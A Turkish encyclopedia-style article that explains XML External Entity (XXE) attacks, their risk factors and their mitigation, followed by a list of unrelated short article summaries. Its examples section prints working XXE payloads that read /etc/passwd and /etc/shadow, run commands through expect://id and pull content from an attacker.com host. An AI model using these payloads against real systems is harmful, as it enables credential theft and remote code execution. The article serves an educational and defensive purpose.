İçeriğe atla

XML harici varlık saldırısı

XML Harici Varlık saldırısı, XML girdilerini ayrıştıran bir uygulamaya karşı yapılan bir saldırı türüdür. Bu saldırı, harici bir varlığa referans içeren XML girdisi eksik yapılandırılmış bir XML ayrıştırıcısı ile işlendiğinde gerçekleşir. Bu saldırı gizli verilerin ifşasına, hizmet dışı bırakmaya, sunucu taraflı istek sahteciliğine, ayrıştırıcının bulunduğu makine tarafında port taramaya ve başka sistem etkilerine yol açabilir.[1]

Açıklama

XML 1.0 standardı bir XML belgesinin yapısını tanımlar. Standart, bir tür depolama birimi olan ve varlık olarak adlandırılan bir kavramı tanımlar. Beyan edilmiş bir sistem tanımlayıcısı ile yerel veya uzak içeriğe erişebilen birkaç farklı varlık tipi vardır. Harici genel/parametre ayrıştırılmış varlık sıklıkla harici varlığa kısaltılır. Sistem tanımlayıcısı varlık işlenirken XML işlemcisi tarafından erişilebilen bir URI olduğu varsayılır. XML işlemcisi sonra sistem tanımlayıcısı tarafından erişilen içeriklerin harici varlık oluşumlarının yerini almasını sağlar. Sistem tanımlayıcısı bozulmuş veri içeriyorsa ve XML işlemcisi bu bozulmuş veriye erişirse, XML işlemcisi uygulama tarafından normalde erişilemeyen gizli bilgileri ifşa edebilir. Harici DTD’lerin, harici biçem tablolarının, harici şemaların vb. kullanımında benzer şekilde harici kaynağa ekleme türü saldırılarına izin veriliyorsa ve dahil edildiklerinde benzer atak vektörleri uygulanır.

Saldırılar, sistem tanımlayıcısındaki göreceli dizinler veya dosya şemaları kullanılarak parola ya da özel kullanıcı verileri gibi hassas veriler içerebilecek yerel dosyaları ifşa etmeyi içerebilir. XML belgesini işleyen uygulamaya ilişkin atak meydana geldiğinde, saldırgan bu güvenilir uygulamadan başka iç sistemlere geçmek ve muhtemelen başka iç sistem bileşenlerini http(s) istekleri üzerinden ifşa etmek veya korumasız herhangi bir iç servise bir CSRF saldırısı başlatmak için kullanabilir. Bazı durumlarda, istemci taraflı bellek bozulması sorunlarına zafiyeti bulunan bir XML işlemci kütüphanesi, zararlı bir URI ’ye erişerek ve muhtemelen uygulama hesabı altında rastgele kod çalıştırılmasına izin vererek sömürülebilir. Diğer saldırılar veri döndürmeyi durduramayan yerel kaynaklara erişebilir ve çok fazla iş parçacığı veya işlem başlatılmazsa uygulamanın erişilebilirliğini etkileyebilir.

Uygulamanın, bilgi ifşasına zafiyetinin bulunması için saldırgana cevabı açıkça döndürmesine gerek yoktur. Saldırgan alt etki alanı adları aracılığıyla denetimleri altındaki bir DNS sunucusuna veri aktarmak için DNS bilgisinden istifade edebilir.

Risk faktörleri

  • Uygulama XML belgelerini ayrıştırır.
  • Bozuk verilere, varlığın sistem tanımlayıcı bölümünde belge türü tanımı (DTD) dahilinde izin verilir.
  • XML işlemci DTD'yi doğrulayacak ve işleyecek şekilde yapılandırılmıştır.
  • XML işlemci DTD dahilinde harici varlıkları çözmek için yapılandırılmıştır.

Örnekler

Aşağıdaki örnekler XML Enjeksiyonu Testi'nden (OWASP-DV-008) alınmıştır .[2]

Geri dönmeyebilir yerel bir kaynağa erişme

 <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

Uzaktan kod çalıştırma

PHP "expect" modülü yüklendiğinde değiştirilmiş bir veri yükü (payload) ile uzaktan kod çalıştırılması mümkün olabilir.

 <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
     <creds>
        <user>&xxe;</user>
        <pass>mypass</pass>
     </creds>

/etc/passwd veya diğer hedeflenen dosyaların ifşası

  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

Hafifletme

Tüm XML belgesi güvenilmeyen bir istemciden iletildiğinden, DTD'deki sistem tanımlayıcısında bozulmuş verileri seçip doğrulamak veya elemine etmek genellikle mümkün değildir. Bu sebeple, XML işlemcisi yerel sabit bir DTD kullanacak şekilde yapılandırılmalı ve XML dokümanına dahil edilen beyan edilmiş herhangi bir DTD’ye izin vermemelidir.

Ayrıca bakınız

  • SQL enjeksiyonu
  • Kör SQL enjeksiyonu

Kaynakça

  1. ^ "What Are XML External Entity (XXE) Attacks". Acunetix. 15 Ekim 2014 tarihinde kaynağından arşivlendi. Erişim tarihi: 26 Mart 2020. 
  2. ^ "Arşivlenmiş kopya" (PDF). 20 Şubat 2020 tarihinde kaynağından arşivlendi (PDF). Erişim tarihi: 26 Mart 2020. 

Dış bağlantılar

İlgili Araştırma Makaleleri

<span class="mw-page-title-main">Jüpiter</span> Güneş Sisteminde yer alan en büyük gezegen

Jüpiter, Güneş Sistemi'nin en büyük gezegenidir. Güneş'ten uzaklığa göre beşinci sırada yer alır. Adını Roma mitolojisindeki tanrıların en büyüğü olan Jüpiter'den alır. Büyük ölçüde hidrojen ve helyumdan oluşmakta ve gaz devi sınıfına girmektedir.

<span class="mw-page-title-main">PHP</span> bir programlama dili

PHP: Hypertext Preprocessor, internet için üretilmiş, sunucu taraflı, çok geniş kullanımlı, genel amaçlı, içerisine HTML gömülebilen betik ve programlama dilidir. İlk kez 1995 yılında Rasmus Lerdorf tarafından yaratılan PHP'nin geliştirilmesi bugün PHP topluluğu tarafından sürdürülmektedir. Ocak 2013 itibarıyla 244 milyondan fazla web sitesi PHP ile çalışırken 2.1 milyon web sunucusunda PHP kurulumu bulunmaktadır.

<span class="mw-page-title-main">KDE</span> KDE masaüstü ortamı

KDE Unix ve Unix benzeri işletim sistemleri için geliştirilmiş bir masaüstü ortamıdır. Trolltech' in QT kütüphanesi ve kendine ait KDE kütüphaneleri kullanılarak geliştirilen KDE, GNU/Linux, Solaris, BSD' ler (FreeBSD, NetBSD, OpenBSD vb. Unix ve Unix benzeri işletim sistemleri üzerinde çalışmasının yanı sıra Cygwin aracılığıyla da Microsoft Windows üzerinde de çalışabilmektedir. KDE 4.0.0 sürümü, kullandığı QT 4 kütüphanelerinin Windows'ta doğrudan çalışabilmesi sayesinde Windows üzerinde cygwin katmanı olmadan çalışabilmektedir.

<span class="mw-page-title-main">GameCube</span> Nintendonun sattığı ev tipi video oyun konsolu

GameCube; Nintendo tarafından 2001 yılında Japonya ve Kuzey Amerika'da, 2002'de Avrupa ve Avustralya'da yayınlanan bir ev tipi video oyun konsoludur. Altıncı nesil konsol Nintendo 64'ün ardılıdır, Sony PlayStation 2 ve Microsoft Xbox ile rekabet etmiştir.

XQuery, XML tipi veriler üzerinde sorgulama yapabilmek için geliştirilmiş bil dildir. Bu dil, Quilt isimli bir sorgulama dilinden türetilmiştir ve yapı olarak SQL'e benzer. XQuery bir W3C standardıdır.

DTD, belge sözdizimi kurallarını tanımlayan işaretleme kuralları kümesidir.

Bilgisayar biliminde, Genişletilmiş Backus–Naur formu (EBNF) bağlamdan bağımsız dilbilgisini ifade etmek için kullanılan bir notasyondur. Başka bir ifadeyle, bilgisayar programlama dillerini ve biçimsel dilleri tanımlamanın bir yoludur. Backus–Naur formu (BNF) notasyonunu temel alır.

Apache Wicket veya kısaca Wicket Java programlama dili için bileşen tabanlı hafif bir web uygulama kütüphanesidir. Jonathan Locke tarafından geliştirilmeye başlanmış ve ilk sürümü 2005 yılında çıkmıştır.

<span class="mw-page-title-main">Karakter kodlaması</span> yazıdaki karakterleri rakamsal değerlerle temsil etmek

Bilişimde karakter kodlaması kavramı bir çeşit kodlama sistemi kullanılarak kodlanmış karakter gruplarını temsil etmektedir. Soyutlama düzeyi ve kullanıldığı bağlama bağlı olarak karakterlere karşılık gelen kod noktaları ve bunların oluşturdukları kod alanı, bit örüntüleri, oktetler, doğal sayılar, elektrik sinyalleri vb. şeklinde algılanabilir. Metinsel verilerin işlenmesi, depolanması ve iletimi esnasında karakter kodlamaları kullanılır. Karakter seti, karakter eşlem veya kod sayfası gibi ifadeler karakter kodlaması kavramıyla eş anlamlıymış gibi kullanılsa da aralarında bazı anlam farkları bulunmaktadır.

Anahtar Deliği Biçimlendirme Dili Internet tabanlı, iki boyutlu haritalar ve üç boyutlu Dünya tarayıcılar içinde coğrafi şerhi ve görselleştirme ifade etmek için bir XML gösterimdir. KML başlangıçta Anahtar Deliği Dünya Görüntüleyicisi olarak seçildi, Google Earth ile kullanılmak üzere geliştirilmiştir. 2004 yılında Google tarafından satın alınan Keyhole, Inc tarafından yaratıldı. KML 2008'de Open Geospatial Consortium tarafından uluslararası bir ölçüt haline getirilmiştir. Google Earth'te görüntüleyebilirsiniz ve grafiksel KML dosyalarını düzenlenmesi mümkün olan ilk program olmuştur. Bu tür Marble gibi diğer projeler de KML desteği geliştirmeye başlamıştır.

<span class="mw-page-title-main">Open Archives Initiative Protocol for Metadata Harvesting</span>

Open Archives Initiative Protocol for Metadata Harvesting (OAI-PMH) Açık Arşivler Girişimi tarafından geliştirilen bir protokoldür. Bu protokol bir arşivdeki metadata tanımlarını harmanlamak için kullanılır. Böylece birçok arşivden metadata kullanılarak servisler oluşturulabilir. OAI-PMH'nin bir uygulamasının, Dublin Core'da onu temsil eden metadatayı desteklemesi gerekir, ama ayrıca ek temsilleri de destekleyebilir.

Bir web uygulama güvenlik duvarı, bir web uygulamasına giden ve uygulamadan gelen tüm HTTP trafiğini filtreler, inceler ve bloklar. Bir WAF ürününün normal bir güvenlik duvarından farkı, sıradan güvenlik duvarları sunucular arasında bir güvenlik geçidi olarak hizmet verirken, WAF ürününün istediği web uygulamasına ait içeriği filtreleyebilmesidir. HTTP trafiğini inceleyerek, SQL Enjeksiyonu, Siteler Arası Betik Çalıştırma (XSS) ve güvenlik yanlış yapılandırmaları gibi güvenlik zafiyetlerinden kaynaklanan saldırıları engelleyebilmektedir.

SyncML (Synchronization Markup Language) platform bağımsız bilgi senkronizasyonu standardıdır. Proje şu anda Open Mobile Alliance Veri Senkronizasyonu ve Cihaz Yönetimi olarak adlandırılmaktadır. SyncML'nin amacı, çoğunlukla birtakım satıcı, uygulama veya işletim sistemine özgü olan mevcut veri senkronizasyon çözümlerinin yerini alan bir açık standart sunmaktır.

Peter Pin-Shan Chen 1947 yılında doğmuş Tayvanlı bir Amerikan bilgisayar bilimcisidir. 1976'da varlık-ilişki modelinin geliştirilmesiyle tanınan Carnegie Mellon Üniversitesi'nde seçkin bir kariyer bilimcisi ve öğretim üyesidir.

ARINC 661, Kokpit Ekran Sistemini (CDS) tanımlanmasını; kullanıcı uygulaması ve CDS arasındaki haberleşmeyi standartize etmeyi amaçlayan bir aviyonik standarttır. GUI tanımı tamamen ikili Definition Files (DF) 'de tarif edilmektedir.

Kod enjeksiyonu, geçersiz verilerin işlenmesinden kaynaklanan bilgisayar hatasından yararlanmadır. Enjeksiyon, saldırgan tarafından savunmasız bir bilgisayar programına kod enjekte etmek ve yürütmenin seyrini değiştirmek için kullanılır. Başarılı kod eklemenin sonucu felaket olabilir. Örneğin, bilgisayar virüslerinin ya da solucanların yayılmasına izin verilebilir.

Çeviri belleği (ÇB) veya Çeviri hafızası (ÇB), insan çevirmenlere yardımcı olmak için daha önce çevrilmiş cümleler, paragraflar veya cümle benzeri birimler olabilen "segmentleri" depolayan bir veritabanıdır. Çeviri belleği, kaynak metni ve karşılık gelen çevirisini “çeviri birimleri” adı verilen dil çiftlerinde saklar. Bireysel kelimeler terminoloji temelleri tarafından ele alınır ve ÇB'nin alanı içinde değildir.

Bir belge türü beyanı veya DOCTYPE, belirli bir XML veya SGML belgesini bir belge türü tanımıyla (DTD) ilişkilendiren bir talimattır. 4.0). Belgenin serileştirilmiş biçiminde, belirli bir sözdizimine uyan kısa bir işaretleme dizisi olarak ortaya çıkar.

<span class="mw-page-title-main">Düz metin</span> yalnızca okunabilir materyalin biçimlendirilmemiş karakterlerinden oluşan bilgisayar verileri

Bilgi işlemde, düz metin yalnızca karakterlerden oluşan okunabilir materyali temsil eden ancak grafiksel gösterimini veya diğer nesneleri temsil etmeyen veriler için kullanılan geniş/serbest bir terimdir. Ayrıca metnin basit düzenini etkileyen boşluklar, satır sonları veya sekme karakterleri gibi sınırlı sayıda "boşluk" karakteri de içerebilir. Düz metin, stil bilgilerinin dahil edildiği biçimlendirilmiş metinden; paragraflar, bölümler ve benzerleri gibi belgenin yapısal kısımlarının tanımlandığı yapılandırılmış metinden; ve bazı kısımların ikili nesneler olarak yorumlanması gereken ikili dosyalardan farklıdır.

C++ Standard Kütüphanesi, C++ programlama dilinde ve C++ ISO Standard'ıyla yazılmış sınıfların ve fonksiyonların koleksiyonudur.